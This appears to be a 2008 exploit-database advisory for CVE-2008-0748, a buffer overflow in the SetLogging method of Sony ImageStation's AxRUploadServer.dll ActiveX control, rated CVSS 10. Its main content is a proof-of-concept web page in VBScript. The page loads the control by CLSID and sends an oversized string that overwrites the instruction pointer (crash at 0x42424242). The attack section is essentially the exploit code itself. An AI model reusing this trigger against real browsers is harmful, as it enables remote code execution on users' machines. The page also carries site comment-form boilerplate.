Buffer Overflow Vulnerability in AxRUploadServer.dll, Activex Method (SetLogging)

2008.02.13

Credit: david130490

Risk: High

Local: Yes

Remote: Yes

CVE: CVE-2008-0748

CWE: CWE-119

CVSS Base Score: 10/10

Impact Subscore: 10/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

Buffer Overflow in AxRUploadServer.dll, this file belongs to ImageStation that is a servicemark of Sony Electronics Inc.

--------------

Access Violation at 0x42424242

The code:

<object classid='clsid:E9A7F56F-C40F-4928-8C6F-7A72F2A25222' id='bof'></object>

<input language=VBScript onclick=Son() type=button value="Explotar">

<script language='vbscript'>

Sub Son

arg1=String(5922, "A")

arg2=String(5, "B")

bof.SetLogging arg1 + arg2

End Sub

</script>

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Buffer Overflow Vulnerability in AxRUploadServer.dll, Activex Method (SetLogging)

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.